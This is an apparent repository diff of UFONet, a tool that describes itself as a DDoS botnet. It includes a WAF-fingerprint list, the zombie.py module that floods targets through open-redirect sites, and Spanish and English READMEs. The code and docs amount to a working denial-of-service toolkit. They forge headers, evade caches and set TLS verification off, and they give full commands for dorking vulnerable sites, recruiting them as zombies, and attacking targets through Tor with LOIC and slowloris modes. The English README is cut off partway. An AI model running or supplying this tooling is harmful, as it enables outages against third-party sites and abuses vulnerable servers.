+dotDefender Blocked Your Request##dotDefender (Applicure Technologies)
+AECDF##EdgeCast WAF (Verizon)
+Invalid GET Data##ExpressionEngine (EllisLab)
+FORTIWAFSID##FortiWeb Web Application Firewall (Fortinet)
+ODSESSION##Hyperguard Web Application Firewall (art of defence)
+Incapsula##Incapsula Web Application Firewall (Incapsula/Imperva)
+incap_ses##Incapsula Web Application Firewall (Incapsula/Imperva)
+visid_incap##Incapsula Web Application Firewall (Incapsula/Imperva)
+The server denied the specified Uniform Resource Locator (URL). Contact the server administrator##ISA Server (Microsoft)
+The ISA Server denied the specified Uniform Resource Locator (URL)##ISA Server (Microsoft)
+jiasule-WAF##Jiasule Web Application Firewall (Jiasule)
+__jsluid##Jiasule Web Application Firewall (Jiasule)
+jsl_tracking##Jiasule Web Application Firewall (Jiasule)
+static\.jiasule\.com/static/js/http_error\.js##Jiasule Web Application Firewall (Jiasule)
+ks-waf-error##KS-WAF (Knownsec)
+AkamaiGHost##KONA Security Solutions (Akamai Technologies)
+Mod_Security##ModSecurity: Open Source Web Application Firewall (Trustwave)
+NOYB##ModSecurity: Open Source Web Application Firewall (Trustwave)
+naxsi/waf##NAXSI (NBS System)
+NCI__SessionId##NetContinuum Web Application Firewall (NetContinuum/Barracuda Networks)
+NS-CACHE##NetScaler (Citrix Systems)
+citrix##NetScaler (Citrix Systems)
+newdefend##Newdefend Web Application Firewall (Newdefend)
+NSFocus##NSFOCUS Web Application Firewall (NSFOCUS)
+has been blocked in accordance with company policy##Palo Alto Firewall (Palo Alto Networks)
+PLBSID##Profense Web Application Firewall (Armorlogic)
+Profense##Profense Web Application Firewall (Armorlogic)
+Admin_Files##Proventia Web Application Security (IBM)
+Unauthorized Activity Has Been Detected##AppWall (Radware)
+ASP.NET has detected data in the request that is potentially dangerous##ASP.NET RequestValidationMode (Microsoft)
+Request Validation has detected a potentially dangerous client input value##ASP.NET RequestValidationMode (Microsoft)
+Safe3WAF##Safe3 Web Application Firewall
+Safe3 Web Firewall##Safe3 Web Application Firewall
+Safedog##Safedog Web Application Firewall (Safedog)
+safedog##Safedog Web Application Firewall (Safedog)
+SecureIIS##SecureIIS Web Server Security (BeyondTrust)
+SENGINX-ROBOT-MITIGATION##SEnginx (Neusoft Corporation)
+SiteLock Incident ID##TrueShield Web Application Firewall (SiteLock)
+sitelock-site-verification##TrueShield Web Application Firewall (SiteLock)
+sitelock_shield_logo##TrueShield Web Application Firewall (SiteLock)
+SonicWALL##SonicWALL (Dell)
+Web Site Blocked##SonicWALL (Dell)
+Powered by UTM Web Protection##UTM Web Protection (Sophos)
+X-Mapping##Stingray Application Firewall (Riverbed / Brocade)
+Sucuri##CloudProxy WebSite Firewall (Sucuri)
+sucuri##CloudProxy WebSite Firewall (Sucuri)
+waf.tencent-cloud.com##Tencent Cloud Web Application Firewall (Tencent Cloud Computing)
+F5-TrafficShield##TrafficShield (F5 Networks)
+ASINFO##TrafficShield (F5 Networks)
+Rejected-By-UrlScan##UrlScan (Microsoft)
+Secure Entry Server##USP Secure Entry Server (United Security Providers)
+varnish##Varnish FireWall (OWASP)
+wallarm##Wallarm Web Application Firewall (Wallarm)
+WatchGuard##WatchGuard (WatchGuard Technologies)
+nx=@@##webApp.secure (webScurity)
+WebKnight##WebKnight Application Firewall (AQTRONIX)
+This response was generated by Wordfence##Wordfence (Feedjit)
+Your access to this site has been limited##Wordfence (Feedjit)
+YUNDUN##Yundun Web Application Firewall (Yundun)
+yunsuo##Yunsuo Web Application Firewall (Yunsuo)
+ZENEDGE##Zenedge Web Application Firewall (Zenedge)

+ 32 - 0
core/update.py

@@ -0,0 +1,32 @@
+#!/usr/bin/env python 
+# -*- coding: utf-8 -*-"
+"""
+UFONet - (DDoS botnet + DoS tool) via Web Abuse - 2013/2014/2015/2016/2017/2018 - by psy (epsylon@riseup.net)
+
+You should have received a copy of the GNU General Public License along
+with UFONet; if not, write to the Free Software Foundation, Inc., 51
+Franklin St, Fifth Floor, Boston, MA  02110-1301  USA
+"""
+import os
+from subprocess import PIPE
+from subprocess import Popen as execute
+        
+class Updater(object):
+    """     
+    Update UFONet automatically from a .git repository
+    """     
+    def __init__(self):
+        GIT_REPOSITORY = "https://github.com/epsylon/ufonet"
+        rootDir = os.path.abspath(os.path.join(os.path.dirname( __file__ ), '..', ''))
+        if not os.path.exists(os.path.join(rootDir, ".git")):
+            print "Not any .git repository found!\n"
+            print "="*30
+            print "\nTo have working this feature, you should clone UFONet with:\n"
+            print "$ git clone %s" % GIT_REPOSITORY
+        else:
+            checkout = execute("git checkout . && git pull", shell=True, stdout=PIPE, stderr=PIPE).communicate()[0]
+            print checkout
+            if not "Already up-to-date" in checkout:
+                print "Congratulations!! UFONet has been updated... ;-)\n"
+            else:
+                print "Your UFONet doesn't need to be updated... ;-)\n"

File diff suppressed because it is too large
+ 3080 - 0
core/webgui.py


+ 193 - 0
core/zombie.py

@@ -0,0 +1,193 @@
+#!/usr/bin/env python 
+# -*- coding: utf-8 -*-"
+"""
+UFONet - DDoS Botnet via Web Abuse - 2013/2014/2015/2016 - by psy (epsylon@riseup.net)
+
+You should have received a copy of the GNU General Public License along
+with UFONet; if not, write to the Free Software Foundation, Inc., 51
+Franklin St, Fifth Floor, Boston, MA  02110-1301  USA
+"""
+import pycurl, StringIO, md5, re
+import time, threading, random
+from randomip import RandomIP
+
+class Zombie: # class representing a zombie
+    # constructor: function to construct a zombie 
+    # ufo: UFONet object, some state variables are recovered as well
+    # zombie: name/url of zombie
+    def __init__(self, ufo, zombie):
+        self.ufo = ufo
+        self.payload=ufo.payload
+        self.attack_mode=ufo.attack_mode
+        self.zombie = zombie
+        self.connection_failed=True
+
+    # wait for semaphore to be ready, add to herd, connect & suicide
+    def connect(self):
+        reply=None
+        with self.ufo.sem:
+            self.ufo.herd.new_zombie(self.zombie)
+            reply=self.do_connect()
+            self.ufo.herd.kill_zombie(self.zombie, reply, self.connection_failed)
+            return reply
+
+    # handles zombie connection
+    def do_connect(self):
+        # connect zombies and manage different options: HEAD, GET, POST,
+        # user-Agent, referer, timeout, retries, threads, delay..
+        options = self.ufo.options
+        c = pycurl.Curl()
+        if self.ufo.head == True:
+            c.setopt(pycurl.URL, self.zombie) # set 'self.zombie' target
+            c.setopt(pycurl.NOBODY, 1) # use HEAD
+        if self.payload == True:
+            payload = self.zombie + "https://www.whitehouse.gov" #Open Redirect payload [requested by all UFONet motherships ;-)]
+            c.setopt(pycurl.URL, payload) # set 'self.zombie' payload
+            c.setopt(pycurl.NOBODY, 0) # use GET
+        if self.ufo.external == True:
+            external_service = "http://www.downforeveryoneorjustme.com/" # external check
+            if options.target.startswith('https://'): # fixing url prefix
+                options.target = options.target.replace('https://','')
+            if options.target.startswith('http://'): # fixing url prefix
+                options.target = options.target.replace('http://','')
+            external = external_service + options.target
+            c.setopt(pycurl.URL, external) # external HEAD check before to attack
+            c.setopt(pycurl.NOBODY, 0) # use GET
+        if self.attack_mode == True:
+            if options.place: # use self.zombie's vector to connect to a target's place and add a random query to evade cache
+                random_name_hash = random.randint(1, 100000000) 
+                random_hash = random.randint(1, 100000000)
+                if options.place.endswith("/"):
+                    options.place = re.sub('/$', '', options.place)
+                if options.place.startswith("/"):
+                    if "?" in options.place:
+                        url_attack = self.zombie + options.target + options.place + "&" + str(random_name_hash) + "=" + str(random_hash)
+                    else:
+                        url_attack = self.zombie + options.target + options.place + "?" + str(random_name_hash) + "=" + str(random_hash)
+                else:
+                    if "?" in options.place:
+                        url_attack = self.zombie + options.target + "/" + options.place + "&" + str(random_name_hash) + "=" + str(random_hash)
+                    else:
+                        url_attack = self.zombie + options.target + "/" + options.place + "?" + str(random_name_hash) + "=" + str(random_hash)
+            else:                                    
+                url_attack = self.zombie + options.target # Use self.zombie vector to connect to original target url
+            if self.ufo.options.verbose:
+                print "[Info] Payload:", url_attack
+            c.setopt(pycurl.URL, url_attack) # GET connection on target site
+            c.setopt(pycurl.NOBODY, 0)  # use GET
+        # set fake headers (important: no-cache)
+        fakeheaders = ['Accept: image/gif, image/x-bitmap, image/jpeg, image/pjpeg', 
+                       'Connection: Keep-Alive', 
+                       'Content-type: application/x-www-form-urlencoded; charset=UTF-8', 
+                       'Cache-control: no-cache', 
+                       'Pragma: no-cache', 
+                       'Pragma-directive: no-cache', 
+                       'Cache-directive: no-cache', 
+                       'Expires: 0'] 
+        c.setopt(pycurl.FOLLOWLOCATION, 1) # set follow redirects
+        c.setopt(pycurl.MAXREDIRS, 10) # set max redirects
+        c.setopt(pycurl.SSL_VERIFYHOST, 0) # don't verify host
+        c.setopt(pycurl.SSL_VERIFYPEER, 0) # don't verify peer
+#       c.setopt(pycurl.SSLVERSION, pycurl.SSLVERSION_SSLv3) # sslv3
+        c.setopt(pycurl.COOKIEFILE, '/dev/null') # black magic
+        c.setopt(pycurl.COOKIEJAR, '/dev/null') # black magic
+        c.setopt(pycurl.FRESH_CONNECT, 1) # important: no cache!
+        c.setopt(pycurl.NOSIGNAL, 1) # pass 'long' to stack to fix libcurl bug
+        c.setopt(pycurl.ENCODING, "") # use all available encodings (black magic)
+        if options.xforw: # set x-forwarded-for
+            generate_random_xforw = RandomIP()
+            xforwip = generate_random_xforw._generateip('')
+            xforwfakevalue = ['X-Forwarded-For: ' + str(xforwip)]
+            fakeheaders = fakeheaders + xforwfakevalue
+        if options.xclient: # set x-client-ip
+            generate_random_xclient = RandomIP()
+            xclientip = generate_random_xclient._generateip('')
+            xclientfakevalue = ['X-Client-IP: ' + str(xclientip)]
+            fakeheaders = fakeheaders + xclientfakevalue
+        if options.host: # set http host header
+            host_fakevalue = ['Host: ' + str(options.host)]
+            fakeheaders = fakeheaders + host_fakevalue
+        c.setopt(pycurl.HTTPHEADER, fakeheaders) # set fake headers
+        b = StringIO.StringIO()
+        c.setopt(pycurl.HEADERFUNCTION, b.write)
+        h = StringIO.StringIO()
+        c.setopt(pycurl.WRITEFUNCTION, h.write)
+        if options.agent: # set user-agent
+            c.setopt(pycurl.USERAGENT, options.agent)
+        else:
+            c.setopt(pycurl.USERAGENT, self.ufo.user_agent)
+        if options.referer: # set referer
+            c.setopt(pycurl.REFERER, options.referer)
+        else:
+            c.setopt(pycurl.REFERER, self.ufo.referer)
+        if options.proxy: # set proxy
+            proxy = options.proxy
+            sep = ":"
+            proxy_ip = proxy.rsplit(sep, 1)[0]
+            if proxy_ip.startswith('http://'):
+                proxy_ip = proxy_ip.replace('http://', '')
+            elif proxy_ip.startswith('https://'):
+                proxy_ip = proxy_ip.replace('https://', '')
+            proxy_port = proxy.rsplit(sep, 1)[1]
+            if proxy_ip == '127.0.0.1': # working by using 'localhost' as http proxy (ex: privoxy)
+                proxy_ip = 'localhost'
+            c.setopt(pycurl.PROXY, proxy_ip)
+            c.setopt(pycurl.PROXYPORT, int(proxy_port))
+        else:
+            c.setopt(pycurl.PROXY, '')
+            c.setopt(pycurl.PROXYPORT, pycurl.PROXYPORT)
+        if options.timeout: # set timeout
+            c.setopt(pycurl.TIMEOUT, options.timeout)
+            c.setopt(pycurl.CONNECTTIMEOUT, options.timeout)
+        else:
+            c.setopt(pycurl.TIMEOUT, 5) # trying low value to control OS/python threading overflow when so much threads/bots open
+            c.setopt(pycurl.CONNECTTIMEOUT, 5)
+        if options.delay: # set delay
+            self.ufo.delay = options.delay
+        else:
+            self.ufo.delay = 0
+        if options.retries: # set retries
+            self.ufo.retries = options.retries
+        else:
+            self.ufo.retries = 1
+        try: # try to connect
+            c.perform()
+            time.sleep(self.ufo.delay)
+            self.connection_failed = False
+        except Exception, e: # try retries
+            for count in range(0, self.ufo.retries):
+                time.sleep(self.ufo.delay)
+                try:
+                    c.perform()
+                    self.connection_failed = False
+                except:
+                    self.connection_failed = True
+        if self.ufo.head == True: # HEAD reply
+            code_reply = c.getinfo(pycurl.HTTP_CODE)
+            reply = b.getvalue()
+            if options.verbose:
+                print "[Info] Reply:"
+                print "\n", reply
+            if self.ufo.options.testrpc:
+                return reply
+            else:
+                return code_reply
+        if self.ufo.external == True: # External reply
+            external_reply = h.getvalue()
+            if options.verbose:
+                print "[Info] Reply:"
+                print "\n", external_reply
+            return external_reply
+        if self.payload == True: # Payloads reply
+            payload_reply = h.getvalue()
+            if options.verbose:
+                print "[Info] Reply:"
+                print "\n", payload_reply
+            return payload_reply
+        if self.attack_mode == True: # Attack mode reply
+            attack_reply = h.getvalue()
+            if options.verbose:
+                print "[Response] code: ", c.getinfo(c.RESPONSE_CODE)," time ",c.getinfo(c.TOTAL_TIME)," size ", len(attack_reply)
+            return [    c.getinfo(c.RESPONSE_CODE), 
+                        c.getinfo(c.TOTAL_TIME), 
+                        len(attack_reply)]

+ 465 - 0
docs/LEEME.txt

@@ -0,0 +1,465 @@
+=========================================================================== 
+
+888     888 8888888888 .d88888b.  888b    888          888    
+888     888 888        d88PY888b  8888b   888          888    
+888     888 888       888     888 88888b  888          888    
+888     888 8888888   888     888 888Y88b 888  .d88b.  888888 
+888     888 888       888     888 888 Y88b888 d8P  Y8b 888    
+888     888 888       888     888 888  Y88888 88888888 888    
+Y88b. .d88P 888       Y88b. .d88P 888   Y8888 Y8b.     Y88b.  
+ 'Y88888P'  888        'Y88888P'  888    Y888  'Y8888   'Y8888
+
+=========================================================================== 
+
+Bienvenida a UFONet [ DDoS+DoS ] Botnet/C&C/Darknet ;-)
+
+===========================================================================
+
+###############################
+# Información del proyecto
+###############################
+
+- Website: 
+
+   https://ufonet.03c8.net
+
+- IRC: 
+
+   irc.freenode.net - #ufonet
+
+###############################
+# FAQ/Preguntas frecuentes
+###############################
+
+   https://ufonet.03c8.net/FAQ.html
+
+###############################
+# Introducción
+###############################
+
+UFONet - es una herramienta diseñada para lanzar ataques DDoS y DoS en la capa 7 (HTTP/Web Abuse),
+utilizando vectores 'Open Redirect' en aplicaciones web de terceros (una botnet).
+
+En los siguientes enlaces tienes más información:
+
+   - CWE-601:Open Redirect: 
+     http://cwe.mitre.org/data/definitions/601.html
+
+   - OWASP:URL Redirector Abuse: 
+     https://www.owasp.org/index.php/OWASP_Periodic_Table_of_Vulnerabilities_-_URL_Redirector_Abuse2
+
+###############################
+# Instalando
+###############################
+
+UFONet funciona en muchas plataformas. Requiere Python (>2.7.9) y las siguientes librerías:
+
+       python-pycurl - Python bindings to libcurl
+       python-geoip  - Python bindings for the GeoIP IP-to-country resolver library
+       python-whois  - Python module for retrieving WHOIS information - Python 2
+       python-crypto - Cryptographic algorithms and protocols for Python
+       python-requests - elegant and simple HTTP library for Python2, built for human beings
+
+Puedes obtener todas las librerías requeridas automáticamente usando:
+
+     python setup.py install
+
+Para instalarlas manualmente en sistemas basados en Debian (ex: Ubuntu), lanza: 
+
+     sudo apt-get install python-pycurl python-geoip python-whois python-crypto python-requests
+
+En otros sistemas como: Kali, Ubuntu, ArchLinux, ParrotSec, Fedora, etc... también lanzar:
+
+       pip install geoip 
+       pip install requests
+       pip install pycrypto
+
+Paquetes fuente de las librerías:
+
+       * Python: https://www.python.org/downloads/
+       * PyCurl: http://pycurl.sourceforge.net/
+       * PyGeoIP: https://pypi.python.org/pypi/GeoIP/
+       * PyWhois: https://pypi.python.org/pypi/whois
+       * PyCrypto: https://pypi.python.org/pypi/pycrypto
+       * PyRequests: https://pypi.python.org/pypi/requests
+
+###############################
+# Buscando 'zombies'
+###############################
+
+UFONet puede buscar en los resultados de diferentes motores de búsqueda para encontrar posibles sitios 
+web vulnerables a 'Open Redirect'. 
+
+Generalmente los parámetros de las peticiones, suelen ser similares a los siguientes:
+
+        'proxy.php?url='
+        'check.cgi?url='
+        'checklink?uri='
+        'validator?uri='
+
+Por ejemplo, puedes comenzar una búsqueda con:
+
+       ./ufonet -s 'proxy.php?url='
+
+O utilizando una lista de "dorks" que tengas en un fichero:
+
+       ./ufonet --sd 'dorks.txt'
+
+Por defecto, UFONet utiliza un motor de búsqueda que se llama 'Yahoo'. Pero puedes elegir uno diferente:
+
+       ./ufonet -s 'proxy.php?url=' --se 'bing'
+
+Ésta es la lista de motores de búsqueda que funcionan con la fecha de la última vez que se han probado:
+
+        - bing [06/03/2018: OK!]
+        - yahoo [06/03/2018: OK!]
+
+También puedes buscar masívamente utilizando todos los motores de búsqueda soportados:
+
+       ./ufonet -s 'proxy.php?url=' --sa 
+
+Para controlar cuantos 'zombies' recibir como resultado puedes utilizar:
+
+       ./ufonet --sd 'botnet/dorks.txt' --sa --sn 20
+
+O puedes hacer que la herramienta búsque de manera autómatica el mayor número posible de resultados 
+(ésto puede tardar bastante tiempo!):
+
+       ./ufonet --auto-search
+
+Al final del proceso, serás preguntado por si quieres hacer un chequeo, de la lista que has recibido, 
+para ver si las urls son vulnerables.
+
+       Want to check if they are valid zombies? (Y/n)
+
+También serás preguntado por si quieres actualizar tu lista de 'zombies' añadiendo solamente 
+aquellas aplicaciones web que sean vulnerables.
+
+       Want to update your list? (Y/n)
+
+Si respondes 'Y', tus nuevos 'zombies' se sumarán al fichero: zombies.txt
+
+  -------------
+  Ejemplos:
+
+     + con detalle:       ./ufonet -s 'proxy.php?url=' -v
+     + con hilos:         ./ufonet --sd 'botnet/dorks.txt' --sa --threads 100
+
+###############################
+# Probando la botnet
+###############################
+
+UFONet puede probar si tus 'zombies' son vulnerables y si pueden ser usados para tareas de ataque.
+
+Por ejemplo, abre 'botnet/zombies.txt' (u otro fichero) y crea una lista de posibles 'zombies'.
+Recuerdas que las urls de los 'zombies' deberían ser algo así:
+
+       http://objetivo.com/check?uri=
+
+Después de eso, lanza:
+
+       ./ufonet -t 'botnet/zombies.txt'
+
+Puedes hacer pruebas para descubrir 'zombies' relacionados con la vulnerabilidad XML-RPC Pingback, mediante:
+
+       ./ufonet --test-rpc
+
+Para probar si tus 'zombies' siguen infectados (ésto puede tardar bastante tiempo!):
+
+       ./ufonet --test-all
+
+Y para probar si tus 'zombies' siguen conectados a internet:
+
+       ./ufonet --test-offline
+
+Finalmente, puedes ordenar a tus 'zombies' que te ataquen a ti mismo, para ver como responden a tus necesidades:
+
+       ./ufonet --attack-me 
+
+Al final del proceso, serás preguntado por si quieres hacer un chequeo, de la lista que has recibido, 
+para ver si las urls son vulnerables.
+
+       Want to check if they are valid zombies? (Y/n)
+
+Si respondes 'Y', tu fichero: "botnet/zombies.txt" será actualizado.
+
+  -------------
+  Examples:
+
+     + con detalle:       ./ufonet -t 'botnet/zombies.txt' -v
+     + con proxy TOR:     ./ufonet -t 'botnet/zombies.txt' --proxy="http://127.0.0.1:8118"
+     + con hilos:         ./ufonet -t 'botnet/zombies.txt' --threads 50
+
+     + probar botnet:     ./ufonet --test-all
+     + probar XML-RPCs:   ./ufonet --test-rpc
+     + buscar 'offlines': ./ufonet --test-offline 
+     + auto-atacarte:     ./ufonet --attack-me
+
+###############################
+# Inspeccionando un objetivo
+###############################
+
+UFONet puede buscar el fichero más grande de tu objetivo analizándolo:
+
+       ./ufonet -i http://target.com
+
+Puedes utilizar el resultado para hacer tus ataques más efectivos:
+
+       ./ufonet -a http://target.com -b "/biggest_file_on_target.xxx"
+
+  -------------
+  Ejemplo:
+
+    +input:
+
+       ./ufonet -i http://target.com
+
+    +output:
+
+       [...]
+
+        +Image found: images/wizard.jpg
+	(Size: 63798 Bytes)
+	------------
+	+Style (.css) found: fonts.css
+	(Size: 20448 Bytes)
+	------------
+	+Webpage (.php) found: contact.php
+	(Size: 2483 Bytes)
+	------------
+	+Webpage (.php) found: about.php
+	(Size: 1945 Bytes)
+	------------
+	+Webpage (.php) found: license.php
+	(Size: 1996 Bytes)
+	------------
+	================================================================================
+	=Biggest File: http://target.com/images/wizard.jpg
+	================================================================================
+  -------------
+
+###############################
+# Abduciendo un objetivo
+###############################
+
+UFONet puede entregarte bastante información interesante de tu objetivo:
+
+       ./ufonet -x http://target.com
+
+  -------------
+  Ejemplo:
+
+    +input:
+
+       ./ufonet -x https://yahoo.com
+
+    +output:
+
+       [...]
+
+       -Target URL: https://yahoo.com 
+       -IP    : 206.190.39.42
+       -IPv6  : OFF
+       -Port  : 443
+       -Domain: yahoo.com
+
+       -Bytes in : 550.09 KB
+       -Load time: 9.10 seconds
+
+       -Banner: ATS
+       -Vía   : http/1.1 usproxy3.fp.ne1.yahoo.com (ApacheTrafficServer), 
+                http/1.1 media-router-fp25.prod.media.ir2.yahoo.com (ApacheTrafficServer [cMsSf ]) 
+
+       -WAF/IDS: FIREWALL NOT PRESENT (or not discovered yet)! ;-)
+
+       -Reports:
+
+        + CVE-2017-7671 -> https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-7671
+        + CVE-2017-5660 -> https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-5660
+        
+        [...]
+
+        ---------
+        [Info] Abduction finished... ;-)
+
+   -------------
+
+###############################
+# Atacando un objetivo
+###############################
+
+UFONet puede atacar a tus objetivos de muchas maneras.
+
+Por ejemplo, introduce un objetivo para atacar con un número de rondas:
+
+       ./ufonet -a http://target.com -r 10
+
+En el ejemplo, UFONet atacará el objetivo un número de 10 veces por cada 'zombie'. De manera que si tienes una lista
+de 1.000 'zombies', lanzará 1.000 'zombies' x 10 rondas = 10.000 peticiones al objetivo.
+
+Por defecto se aplicará únicamente 1 ronda.
+
+Además, puedes elegir el lugar para recargar el sitio el objetivo. Por ejemplo, una imagen grande, un fichero que ocupe
+mucho o una película de flash. En algunos escenarios donde los objetivos no utilizan sistemas de cache, ésto hará tu
+ataque más efectivo.
+
+       ./ufonet -a http://target.com -b "/images/big_size_image.jpg"
+
+  -------------
+  Examples:
+
+     + con detalle:     ./ufonet -a http://target.com -r 10 -v
+     + con proxy TOR:   ./ufonet -a http://target.com -r 10 --proxy="http://127.0.0.1:8118"
+     + con un lugar     ./ufonet -a http://target.com -r 10 -b "/images/big_size_image.jpg"
+     + con hilos:       ./ufonet -a http://target.com -r 10 --threads 500
+
+###############################
+# Ataques Especiales
+###############################
+
+UFONet utiliza diferentes maneras para explotar las vulnerabilides 'Open Redirect'.
+
+Puedes usar UFONet para estresar la base de datos de tu objetivo mediante la petición de cadenas aleatorias válidas 
+como si fueran búsquedas:
+
+       ./ufonet -a http://target.com --db "search.php?q="
+
+También explota (por defecto) una vulnerabilidad en XML-RPC Pingback, generando peticiones que requieren respuesta e
+incrementando el procesamiento que requiere el objetivo.
+
+Puedes probar tu lista de zombies "X-RPCs" lanzando:
+
+     ./ufonet --test-rpc
+
+Al mismo tiempo, puedes conectar un LOIC (con soporte para proxy), para hacer un número determinado de peticiones 
+recursivas directamente sobre tu objetivo:
+
+     ./ufonet -a http://target.com --loic 100
+
+Puedes conectar un LORIS para hacer peticiones que dejen hilos abiertos en tu objetivo, haciendo que el servidor web 
+se vuelva lento:
+
+     ./ufonet -a http://target.com --slow 100
+
+Ambos ataques pueden ser combinados, haciendo que UFONet utilice distintas técnicas de DDoS y DoS, al mismo tiempo:
+
+     ./ufonet -a http://target.com --loic 100 --slow 100
+
+###############################
+# Actualizando
+###############################
+
+UFONet implementa una opción para actualizarse automáticamente a la última versión estable.
+
+Para poder hacerlo tienes que haber clonado la herramienta desde el repositorio de GitHub.
+
+Lanza el siguiente comando para chequear si necesitas actualizaciones:
+
+       ./ufonet --update
+
+Ésto actualizará la herramienta automáticamente borrando todos los ficheros del anterior paquete.
+
+###############################
+# Generando un 'Blackhole'
+###############################
+
+UFONet tiene algunas opciones P2P para compartir/mantener 'zombies' con otras 'naves madre".
+      
+  * Configura un servidor web con una carpeta llamada "ufonet", con las siguientes características: 
+
+    - localizado en /var/www/ufonet (por defecto en debian/ubuntu)
+    - creado por el mismo usuario que ejecuta el "agujero negro" (blackhole)
+    - que sea accesible desde http://tu-ip/ufonet/
+
+  * Comienza el "agujero negro" con: ./ufonet --blackhole (or python2 blackhole.py)
+
+  * Cualquiera que quiera conectarse con tu servidor necesita configurar --up-to/--down-from con la ip
+    de tu servidor web...
+
+  [!]ATENCIÓN : ésta función "AVANZADA" puede "NO" ser segura, ejecútala si realmente lo necesitas.
+
+Para lanzar un nuevo "agujero negro", utiliza:
+
+       ./ufonet --blackhole
+
+###############################
+# GUI/Web Interface
+###############################
+
+Puedes controlar UFONet utilizando una interfaz Web. La herramienta implementa un servidor web en python
+conectado al núcleo para que tengas unas experiencia más amigable.
+
+Para lanzarla usa:
+
+      ./ufonet --gui
+
+Ésto abrirá una pestaña (o una ventana nueva) en tu navegador por defecto, con todas las opciones de la herramienta 
+más algunas "extra":
+
+ - NEWS: Permite leer las últimas "noticias" publicadas por la "nave madre"
+ - MISSIONS: Permite leer las últimas "misiones" publicadas por la "nave madre"
+ - SHIP STATS: Permite consultar las estadísticas de tu "nave"
+ - BOARD: Permite enviar/recibir mensajes con una "nave madre" (un foro)
+ - WARPS: Permite interactuar con una "nave madre" para subir/bajar 'zombies'
+ - GLOBAL GRID: Permite revisar las estadísticas de otras "naves"
+ - WARGAMES: Permite proponer e interactuar en algunos "juegos de guerra" reales
+
+###############################
+# Timelog
+###############################
+
+--------------------------
+08.03.2018 : v.1.0
+--------------------------
+
+--------------------------
+14.07.2017 : v.0.9b
+--------------------------
+
+--------------------------
+21.10.2016 : v.0.8b
+--------------------------
+
+--------------------------
+17.08.2016 : v.0.7b
+--------------------------
+
+--------------------------
+05.11.2015 : v.0.6b
+--------------------------
+
+--------------------------
+24.05.2015 : v.0.5b
+--------------------------
+
+--------------------------
+15.12.2014 : v.0.4b
+--------------------------
+
+--------------------------
+27.09.2014 : v.0.3.1b
+--------------------------
+
+--------------------------
+20.09.2014 : v.0.3b
+--------------------------
+
+--------------------------
+22.06.2013 : v.0.2b
+--------------------------
+
+--------------------------
+18.06.2013 : v.0.1b
+--------------------------
+
+###############################
+# Gracias a
+###############################
+
+- UFo & Mandingo & Ikujam
+- Phineas Fisher ;-)
+- The Shadow Brokers (TSB) ;_)
+- World Wide Antifas >-)
+------------------------
+
+############

File diff suppressed because it is too large
+ 209 - 0
docs/LICENSE


+ 460 - 0
docs/README.txt

@@ -0,0 +1,460 @@
+=========================================================================== 
+
+888     888 8888888888 .d88888b.  888b    888          888    
+888     888 888        d88PY888b  8888b   888          888    
+888     888 888       888     888 88888b  888          888    
+888     888 8888888   888     888 888Y88b 888  .d88b.  888888 
+888     888 888       888     888 888 Y88b888 d8P  Y8b 888    
+888     888 888       888     888 888  Y88888 88888888 888    
+Y88b. .d88P 888       Y88b. .d88P 888   Y8888 Y8b.     Y88b.  
+ 'Y88888P'  888        'Y88888P'  888    Y888  'Y8888   'Y8888
+
+=========================================================================== 
+
+Welcome to UFONet [ DDoS+DoS ] Botnet/C&C/Darknet ;-)
+
+===========================================================================
+
+###############################
+# Project info
+###############################
+
+- Website: 
+
+   https://ufonet.03c8.net
+
+- IRC: 
+
+   irc.freenode.net - #ufonet
+
+###############################
+# FAQ
+###############################
+
+   https://ufonet.03c8.net/FAQ.html
+
+###############################
+# Summary
+###############################
+
+UFONet - is a tool designed to launch Layer 7 (HTTP/Web Abuse) DDoS & DoS attacks,
+using 'Open Redirect' vectors on third part web applications (a botnet).
+
+See these links for more info:
+
+   - CWE-601:Open Redirect: 
+     http://cwe.mitre.org/data/definitions/601.html
+
+   - OWASP:URL Redirector Abuse: 
+     https://www.owasp.org/index.php/OWASP_Periodic_Table_of_Vulnerabilities_-_URL_Redirector_Abuse2
+
+###############################
+# Installing
+###############################
+
+UFONet runs on many platforms. It requires Python (>2.7.9) and the following libraries:
+
+     python-pycurl - Python bindings to libcurl
+     python-geoip  - Python bindings for the GeoIP IP-to-country resolver library
+     python-whois  - Python module for retrieving WHOIS information - Python 2
+     python-crypto - Cryptographic algorithms and protocols for Python
+     python-requests - elegant and simple HTTP library for Python2, built for human beings
+
+You can automatically get all required libraries using:
+
+     python setup.py install
+
+For manual installation on Debian-based systems (ex: Ubuntu), run: 
+
+     sudo apt-get install python-pycurl python-geoip python-whois python-crypto python-requests
+
+On other systems such as: Kali, Ubuntu, ArchLinux, ParrotSec, Fedora, etc... also run:
+
+     pip install geoip 
+     pip install requests
+     pip install pycrypto
+
+Source libs:
+
+     * Python: https://www.python.org/downloads/
+     * PyCurl: http://pycurl.sourceforge.net/
+     * PyGeoIP: https://pypi.python.org/pypi/GeoIP/
+     * PyWhois: https://pypi.python.org/pypi/whois
+     * PyCrypto: https://pypi.python.org/pypi/pycrypto
+     * PyRequests: https://pypi.python.org/pypi/requests
+
+###############################
+# Searching for 'zombies'
+###############################
+
+UFONet can dig on different search engines results to find possible 'Open Redirect' vulnerable sites. 
+
+A common query string should be like this:
+
+        'proxy.php?url='
+        'check.cgi?url='
+        'checklink?uri='
+        'validator?uri='
+
+For example, you can begin a search with:
+
+       ./ufonet -s 'proxy.php?url='
+
+Or providing a list of "dorks" from a file:
+
+       ./ufonet --sd 'botnet/dorks.txt'
+
+By default UFONet will use a search engine called 'Yahoo'. But you can choose a different one:
+
+       ./ufonet -s 'proxy.php?url=' --se 'bing'
+
+This is the list of available search engines with last time that they were working:
+
+        - bing [06/03/2018: OK!]
+        - yahoo [06/03/2018: OK!]
+
+You can also search massively using all search engines supported:
+
+       ./ufonet -s 'proxy.php?url=' --sa 
+
+To control how many 'zombies' recieved from the search engines reports you can use:
+
+       ./ufonet --sd 'botnet/dorks.txt' --sa --sn 20
+
+Or you can make the tool to search for the maximun number of results automatically (this may take time!):
+
+       ./ufonet --auto-search
+
+At the end of the process, you will be asked if you want to check the list retrieved to see 
+if the urls are vulnerable.
+
+       Want to check if they are valid zombies? (Y/n)
+
+Also, you will be asked to update the list adding automatically only the 'vulnerable' web apps.
+
+       Want to update your list? (Y/n)
+
+If your answer is 'Y', your new 'zombies' will be appended to the file named: zombies.txt
+
+  -------------
+  Examples:
+
+     + with verbose:       ./ufonet -s 'proxy.php?url=' -v
